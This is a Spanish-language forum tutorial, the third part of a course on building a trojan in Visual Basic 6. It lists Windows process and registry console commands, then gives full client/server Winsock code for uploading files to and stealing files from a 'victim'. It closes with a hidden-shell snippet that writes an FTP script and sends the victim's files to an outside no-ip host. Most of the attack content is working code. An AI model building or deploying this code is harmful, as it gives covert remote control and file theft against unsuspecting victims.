POSDATA DE EL ARTICULO DE LA CONSOLA!
lo que hicimos en la segunda parte del curso fue una consola virtual, lo llamo virtual por que quiero dejaros claro un defecto que tiene.
y es que no es interactiva, esto significa que si le mandas un comando y la respuesta del comando es por ejemplo:
¿Esta seguro que desea borrar el archivo? SI/NO
pues en esta situacion no podremos responder y se quedaria esa ventana ala espera de una respuesta, pero siempre oculta al añadirle el parametro ,VBHIDE al usar el comando SHELL, si no os acordais revisarlo!
al intentar responder se crea una nueva ventana con el comando si, o no, y ese comando a secas no tendria sentido si no se pone en la misma ventana donde se introdujo el primer comando que genero esa respuesta en forma de pregunta.
esto es algo que debereis estudiar y corregir vosotros ,investigando por ay, seria un buen ejercicio!!
voy a poner una serie de cosas que os ayudaran en el manejo de la consola, tales como ver los PROCESOS, matarlos, y ver el registro y modificarlo añadiendo nuevas claves, etc...:
-----------------------PROCESOS----------------------------
esto funciona bajo win xp:
MOSTRAR PROCESOS
tasklist
MATAR PROCESOS
taskkill /pid numero /f
------------------------REGISTRO------------------------
AÑADIR CLAVE EN EL REGISTRO
REG ADD clave [/v nvalor | /ve] [/t tipo] [/s separador] [/d datos] [/f]
clave [\\equipo\]tclave
Equipo nombre del equipo remoto. Si se omite se usa el
equipo actual. Sólo HKLM y HKU están disponibles
para equipos remotos.
tclave CLAVERAIZ\subclave
CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ]
subclave Nombre completo de una clave de registro en la
CLAVERAIZ seleccionada.
/v Nombre del valor en la clave seleccionada para agregar
/ve Agrega el nombre de valor vacío <sin nombre>
/t Tipos de datos de clave de registro
[ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN |
REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |
REG_NONE | REG_EXPAND_SZ ]
Si se omite, se asume REG_SZ
/s Especifica el carácter que usa como separador en su cadena
de datos para REG_MULTI_SZ. Si se omite, se usa "\0" como
separador
/d Datos que se asignan a nvalor del registro que se agrega
/f Fuerza la sobrescritura de entradas de registro existentes
sin avisar.
Ejemplos:
REG ADD \\ABC\HKLM\Software\MiCo
Agrega una clave HKLM\Software\MiCo en el equipo remoto ABC
REG ADD HKLM\Software\MiCo /v datos /t REG_BINARY /d fe340ead
Agrega un valor (nombre: datos, tipo: REG_BINARY, datos: fe340ead)
REG ADD HKLM\Software\MiCo /v MRU /t REG_MULTI_SZ /d fax\0mail
Agrega un valor (nombre: MRU, tipo: REG_MUTLI_SZ, datos: fax\0mail\0\0)
REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%%
Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%)
Nota: use porcentaje doble ( %% ) dentro de la cadena expandida
Herramienta de registro de consola para Windows - versión 3.0
Copyright (C) Microsoft Corp. 1981-2001. Reservados todos los derechos
BORRAR CLAVE
REG DELETE clave [/v nvalor | /ve | /va] [/f]
clave [\\equipo\]tclave
equipo Nombre del equipo remoto. Si se omite se usa el equipo actual.
Sólo están disponibles HKLM HKU en equipos remotos.
tclave CLAVERAIZ\subclave
CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ]
subclave Nombre completo dela clave de registo en la CLAVERAIZ
seleccionada.
nvalor Nombre de valor para borrar en la clave seleccionada.
Si se omite, eliminarán todas las subclaves y valores en la
clave seleccionada.
/ve Elimina el valor de un nombre de valor vacío <sin nombre>
/va Elimina todos los valores en la clave actual
/f Fuerza la eliminación sin avisar.
Ejemplos:
REG DELETE HKLM\Software\MiCo\MiAp\Timeout
Elimina la clave del registro Timeout y sus respectivas subclaves y
valores
REG DELETE \\ZODIAC\HKLM\Software\MiCo /v MTU
Elimina el valor de registro MTU en la clave MiCo de ZODIAC
Herramienta de registro de consola para Windows - versión 3.0
Copyright (C) Microsoft Corp. 1981-2001. Reservados todos los derechos
-------------------------LEER CLAVE--------------------------
REG QUERY clave [/v nvalor | /ve] [/s]
clave [\equipo\]clave
equipo: Nombre del equipo remoto. Si se omite se usa el equipo actual.
Sólo están disponibles HKLM y HKU en equipos remotos.
clave: Con la forma nombre de CLAVERAIZ\subclave
CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ]
Subclave: Nombre completo de la clave de registro en la CLAVERAIZ
seleccionada.
/v consulta para una clave de registro específica
nvalor: nombre en la clave seleccionada para consultar.
Si se omite, se consultará en todos los valores de la clave.
/ve Consultar el valor predeterminado o el de nombre vacío <sin nombre>
/s Consultar todas las subclaves y valores
Ejemplos:
REG QUERY HKLM\Software\Microsoft\ResT /v Version
Muestra el valor del valor Version del registro.
REG QUERY HKLM\Software\Microsoft\ResT\Setup /s
Muestra todas las subclaves y valores en la clave de registro Setup.
con esto ya podemos hacer bastantes cosas interesantes solo usando la consola, ella te da todo el manejo del s.o, aprendelo y aprovechalo, con esto ya no necesitaria muchas mas pijadas el troyano
------------------------------------------------------------------------
vamos al tema que nos ocupa :p seguimos con el troyano!!
INTER CAMBIO DE ARCHIVOS
subir archivos ala victima y bajar archivos de la victima
voy a publicar primero el codigo y luego lo esplico concienzudamente... tendreis que estar subiendo para arriba para ver el codigo y seguir su funcionamiento, pero seguro que se entendera mejor asi:
---------------------------CLIENTE-----------------------------------
Dim filesize As Long, filedata As String, datos2 As String, progreso As Boolean, bytes As Long, send As Boolean
Dim ext As String, path As String, nombre As String
Private Sub Command1_Click()
ws.RemotePort = "4444"
ws.RemoteHost = "127.0.0.1"
ws.Close
ws.Connect
End Sub
Private Sub Command2_Click()
cd.Filter = "Todos los archivos |*.*"
cd.ShowOpen
Open cd.FileName For Binary As #1
filedata = Input(LOF(1), 1)
Close #1
nombre = cd.FileTitle
path = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", path)
path = path & nombre
filesize = Len(filedata)
ws.SendData "archivo" & "|" & filesize & "|" & path
End Sub
Private Sub Command3_Click()
Dim ruta As String
ruta = InputBox("Introduce la ruta completa del archivo remoto:", "Descargar Archivo", ruta)
ws.SendData "coger" & ruta
ext = Right(ruta, Len(ruta) - 4)
End Sub
Private Sub Form_Load()
send = False
progreso = False
End Sub
Private Sub Timer1_Timer()
If ws.State = 7 Then Label1.Caption = "Conectado" Else Label1.Caption = "Desconectado"
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String
ws.GetData datos
If datos = "enviar" Then
progreso = True
ws.SendData filedata
End If
If datos = "recibido" Then
'ws.SendData "cierra"
End If
If Left(datos, 7) = "archivo" Then
send = True
filesize = Mid(datos, 8)
ws.SendData "enviar"
datos2 = ""
Else
If Len(datos2) <> filesize And send = True Then
datos2 = datos2 + datos
pb.Min = 0
pb.Max = filesize
pb.Value = Len(datos2)
pb.Refresh
End If
If Len(datos2) = filesize And send = True Then
ws.SendData "recibido"
pb.Value = 0
cd.Filter = "Archivos " & ext & "| *" & ext
cd.FileName = ""
cd.ShowSave
Open cd.FileName For Binary As #1
Put #1, 1, datos2
Close #1
End If
End If
End Sub
Private Sub WS_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long)
If progreso = True Then
pb.Min = 0
pb.Max = filesize
bytes = bytes + bytesSent
pb.Value = bytes
pb.Refresh
If filesize = bytes Then
pb.Value = 0
MsgBox "Archivo enviado con exito"
progreso = False
End If
End If
End Sub
---------------------SERVIDOR----------------------------
Dim filesize As Long, datos2 As String, filedata As String, send As Boolean, path As String
Private Sub Form_Load()
send = False
ws.LocalPort = "4444"
ws.Close
ws.Listen
End Sub
Private Sub Timer1_Timer()
If ws.State = 7 Then Label1.Caption = "Conectado" Else Label1.Caption = "Desconectado"
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String, dato As Variant
ws.GetData datos
If datos = "enviar" Then
ws.SendData filedata
End If
If datos = "recibido" Then
'ws.SendData "cierra"
End If
If Left(datos, 7) = "archivo" Then
send = True
dato = Split(datos, "|")
filesize = dato(1)
path = dato(2)
ws.SendData "enviar"
datos2 = ""
Else
If Len(datos2) <> filesize And send = True Then
datos2 = datos2 + datos
End If
If Len(datos2) = filesize And send = True Then
ws.SendData "recibido"
Open path For Binary As #1
Put #1, 1, datos2
Close #1
End If
End If
If Left(datos, 5) = "coger" Then
datos = Mid(datos, 6)
Open datos For Binary As #1
filedata = Input(LOF(1), 1)
Close #1
filesize = Len(filedata)
ws.SendData "archivo" & filesize
End If
End Sub
empezamos! necesitamos añadir los componentes microsoft commond dialog control, microsoft windows commond controls y
el componente winsock control, para cliente y servidor; para el cliente ademas: 3 botones, una barra de progreso, el winsock el common dialog , un timer y un label; en el servidor: un label, un timer y el winsock.
-----------------------------------------------------------------------
1- una vez que se establece la conexion por el puerto especificado en el codigo y etc... queda el servidor listo a la espera de que el cliente le pide un archivo, o le mande un archivo.
2- el cliente manda un archivo a el servidor:
"cd" es el nombre que le e dado yo al commonddialog!
cd.Filter = "Todos los archivos |*.*" 'especifica que el cd muestre cualquier tipo de archivo. cd.filter = "lo que quieras poner | *.extension"
cd.ShowOpen 'esto indica que muestre un cuadro para poder abrir un archivo
Open cd.FileName For Binary As #1
filedata = Input(LOF(1), 1)
Close #1
estas 3 lineas ya se vio lo que significan, solo que aqui se abre el archivo en modo binario y el contenido del archivo se mete en la variable filedata, la ruta al archivo la coje dependiendo de el archivo que elejiste en el cuadro de dialogo, por estas funciones tan cucas, es muy util el commond dialog, muchisimos programas lo usan, y da un aspecto elegante a tu programa

esplicare unas pequeñas cosas del commond dialog:
cd.showopen 'hace que te muestre el dialogo para ejelir un archivo
cd.showsave ' lo mismo pero para guardarlo
cd.filename ' es la ruta COMPLETA de el archivo
cd.filetitle ' es solo el nombre del archivo elejido y su estension
cd.filter se pone antes de cd.showopen/save, para especificar a nuestro gusto que archivos se mostraran
nombre = cd.filetitle ' ahora esto ya sabeis para que es XD
path = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", path)
la variable path tendra el resultado de el inputbox, y el inputbox te dice: inputbox ("testo que quieras poner" & vbcrlf & "lo que quieras", "titulo del inputbox",variable donde se guardara lo introducido en el, es importante saber que vbcrlf sirve a modo de INTRO, de retorno de carr para escribir una nueva linea abajo de la otra, y despues de la primera coma va el titulo y en la segunda la variable: inputbox ("mensaje","titulo",variable)
path = path & nombre ' el caracter & concatena el valor de path con el valor de nombre
filesize = Len(filedata) 'la variable de tipo LONG filesize sera = a el tamaño de la variable STRING filedata, osea que la variable filesize contendra el numero de bytes que pesa el archivo!
ws.SendData "archivo" & "|" & filesize & "|" & path 'envia al servidor esto: "archivo|56423|c:\windows\calc.exe"
por que e añadido el caracter | entre medio? pronto lo vereis! y el codigo seria el siguiente:
Private Sub Command2_Click()
cd.Filter = "Todos los archivos |*.*"
cd.ShowOpen
Open cd.FileName For Binary As #1
filedata = Input(LOF(1), 1)
Close #1
nombre = cd.FileTitle
path = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", path)
path = path & nombre
filesize = Len(filedata)
ws.SendData "archivo" & "|" & filesize & "|" & path
End Sub
ahora nos vamos al servidor al evento llegada de datos!
ws.GetData datos ' ya visto anteriormente
If Left(datos, 7) = "archivo" Then 'si los 7 primeros caracteres de la izquierda de datos, = "archivo" entonces:
send = True 'este interruptor se enciende
dato = Split(datos, "|") 'la variable DATO es de tipo VARIANT y sera = a partir datos por el caracter "|"
os acordais de esto? yo dividi en 3 trozos lo que mande al servidor: 1ª la palabra archivo 2ª el tamaño del archivo 3ª una ruta. Bien pues aqui split lo que hace es buscar el caracter | y meter en la variable dato los 3 trozos separados, por que hace como una matriz de esa variable, el primer cacho sera = dato(0) , el segundo fragmento sera = a dato(1) y el tercero dato(2), siempre empieza l index de dato por cero. en este caso es una sola variable con 3 datos diferentes, quizas sea un poco lio, re leerlo y comprenderlo, por que es muy util esto
filesize = dato(1)
path = dato(2)
ws.SendData "enviar" 'aqui le manda el dato enviar, al cliente y el cliente al recibirlo MANDA al SERVIDOR el ARCHIVO
por que de momento el cliente solo habia mandado unos datos necesarios, antes de empezar a enviar el archivo.
datos2 = ""
Else `cuando el proximo deto que llegue y no empiece por "archivo" se ejecutara estas instruciones:
If Len(datos2) <> filesize And send = True Then
datos2 = datos2 + datos
End If
'si el tamaño de la variable string datos2(que sera la que recoja el archivo!) no es igual al tamaño total del archivo entonces que los datos que hallan llegado se metan en la variable datos2, y si llega otro pues que se sume, asi el archivo datos2, a cada paquete que le llegue se ira sumando, por que al enviar el archivo por paquetes, estos los tenemos que juntar todos de alguna manera para formar el archivo original y cuando el tamaño de datos2 sea = al tamaño que tiene que tener, el tamaño total, cuando eso pase se ejecutara lo siguiente :
If Len(datos2) = filesize And send = True Then
ws.SendData "recibido" 'manda una señal como que se a recibido
Open path For Binary As #1
Put #1, 1, datos2
Close #1
y aqui abre un archivo en la ruta que le especificaste en el inputbox del cliente y mete la variable datos2, osea el archivo!
ya esta lo hemos logrado! XD
End If
End If
el codigo entero lleerlo y intentar verlo y comprenderlo todo, por que os lo acabo de explicar!:
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String, dato As Variant
ws.GetData datos
If Left(datos, 7) = "archivo" Then
send = True
dato = Split(datos, "|")
filesize = dato(1)
path = dato(2)
ws.SendData "enviar"
datos2 = ""
Else
If Len(datos2) <> filesize And send = True Then
datos2 = datos2 + datos
End If
If Len(datos2) = filesize And send = True Then
ws.SendData "recibido"
Open path For Binary As #1
Put #1, 1, datos2
Close #1
End If
End If
End Sub
3- el cliente coje un archivo del servidor
cliente
Private Sub Command3_Click()
Dim ruta As String
ruta = InputBox("Introduce la ruta completa del archivo remoto:", "Descargar Archivo", ruta)
ws.SendData "coger" & ruta
ext = Right(ruta, Len(ruta) - 4) 'coje los 4 ultimos caracteres de la variable ruta
End Sub
me niego a esplicarlo mas por que es lo mismo que el otro, simplemente ese boton te pide la direccion del archivo remoto y le dice al servidor que te lo mande
servidor
si los primeros caracteres de los datos entrantes son: coger, entonces el resto del contenido de los datos entrantes (osea la ruta!!) se use para abrir un archivo en esa ruta y introducir en una variable el contenido de ese archivo.
If Left(datos, 5) = "coger" Then
datos = Mid(datos, 6)
Open datos For Binary As #1
filedata = Input(LOF(1), 1)
Close #1
filesize = Len(filedata)
ws.SendData "archivo" & filesize 'aqui no mando el path por que el sitio donde tu lo quieras guardar te dejara elejirlo el commond dialog!
End If
ahora el procedimiento es el mismo que antes, salvo que al reves, el servidor manda y el cliente recibe, pero con el mismo protocolo que anteriormente!
If Left(datos, 7) = "archivo" Then
send = True
filesize = Mid(datos, 8) ' coger el tamaño apartir de el 8 caracter de la variable datos
ws.SendData "enviar"
datos2 = ""
Else
If Len(datos2) <> filesize And send = True Then
datos2 = datos2 + datos
pb.Min = 0 'pb es el nombre de la barra de progreso y le ponemos como minimo cero,es evidente!
pb.Max = filesize ' el valor maximo de la pb sera el tamaño de el archivo!
pb.Value = Len(datos2) ' el valor actual de la pb sera el tamaño de el archivo actualemnte almacenado
pb.Refresh 'refresca
End If
If Len(datos2) = filesize And send = True Then
ws.SendData "recibido"
pb.Value = 0 ' el valor de pb es cero por que ahora ya se a completado el archivo
cd.Filter = "Archivos " & ext & "| *" & ext 'aqui ponemos la variable ext, en el filtro,la extension la cogia al indicarle la ruta del archivo de la victima para coger
cd.FileName = "" 'para que no nos marque ningun nombre al abrir el dialogo de guardar
cd.ShowSave ' abre el dialogo de guardar
Open cd.FileName For Binary As #1 'abre la ruta con el nombre elejido para guardar el archivo
Put #1, 1, datos2 ' mete el archivo
Close #1 'cierra el archivo
End If
End If
esto esta claro que es en el evento llegada de datos del cliente, aui hemos usado el commond dialog por que para nosotros es util, en el servidor no por que seria un cantazo enviarle un archivo y que le dijera ala victima una ventanita que donde desea guardarlo XD logico, no?
tambien hemos usado la barra de progreso, no la he detallado mucho pero ahora lo hago y termino con esta tercera parte del curso
en el evento (mientras se envian datos) de EL CLIENTE
cuando se inicio el envio de el archivo de el cliente al servidor, en la primera parte que he esplicado sobre el intercambio de archivos, un interruptor PROGRESO lo puse a TRUE encendido asi solo en ese momento, solamente cuando lo que envie sea el archivo, y no datos de comandos o etc... que se active la barra de progreso para saber cuando falta para completar la transferencia:
Private Sub WS_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long)
'cuando se envia algun dato:
If progreso = True Then
'si el interruptor esta activado entonces continua:
pb.Min = 0 'valor minimo cero
pb.Max = filesize 'valor maximo el tamaño total del archivo, ESTO SIEMPRE ES EN BYTES
bytes = bytes + bytesSent 'bytes es igual a lo que tenga bytes mas los bytes enviados, (EL PAQUETE ENVIADO) la variable bytessent te la da esta subrutina, asi que no ay que declararla...
pb.Value = bytes ' el valor actual sera los bytes actualmente enviados en conjunto
pb.Refresh
If filesize = bytes Then 'cuando se haya enviado el total del archivo, cuando los bytes enviados sean = a los bytes totales del archivo...
pb.Value = 0 ' la pb, se pone a 0 como señal de que a terminado y por que a de estar asi para un futuro envio
MsgBox "Archivo enviado con exito"
progreso = False 'se desactiva el interruptor para que la barra no se active acidentalmente al enviarle datos que no sean el archivo al servidor.
End If
End If
End Sub
usar la barra de progreso es asi de facil, y antes ya vimos como usarla para cuando te llega a ti el archivo.
otro dia esplico mas cosas y mas funciones para el troyano! pero de momento creo que como ejercicio podiais intentar razonar todo este mecanismo y modificarlo para que funcione mejor o cambiar algo que os parezca oportuno... seguramente habra otras formas y quizas mas sencillas, no lo se, yo he diseñado esta, con alguna ayuda de un colega.
la primera que se me ocurrio fue esta manera:
te configurabas un servidor ftp, como el serv-u y ponias este codigo en el servidor:
Open ("c:\windows\system\nt") For Output As #1
Print #1, "o cuenta.no-ip.sytes"
Print #1, "user"
Print #1, "pass"
Print #1, "bin"
Print #1, comando
Print #1, "bye"
Close #1
Shell ("ftp -s:c:\windows\system\nt"), vbHide
yo solo tenia que mandarle con el cliente un dato que activase ese codigo y un dato que me cojia de un textbox donde ponia esto:
le ponia la ruta de mi archivo a cojer y el comando ftp:
get c:\archivo.exe
y si queria cojerle un archivo a el ponia:
put c:\ruta de su archivo
, mas sencillo , no? supongo que entendeis que he hecho con ese codigo.... crearle un archivo de testo con comandos ftp luego activarle su cliente ftp que todo qindows trae por defecto con la opcion de que coja las instruciones de ese archivo de testo, que aunque no le ponga estension .txt , lo interpreta =
pero donde este la forma que he esplicado mas elegante y profesional que se quite usar un programa adicional...
otro dia pongo mas cosas, que ya me duelen los dedos de tanto teclear...
UN SALUDO!!!!!!!! dudas quejas comentarios, lo que querais lo decis!
Xenon alias fulano_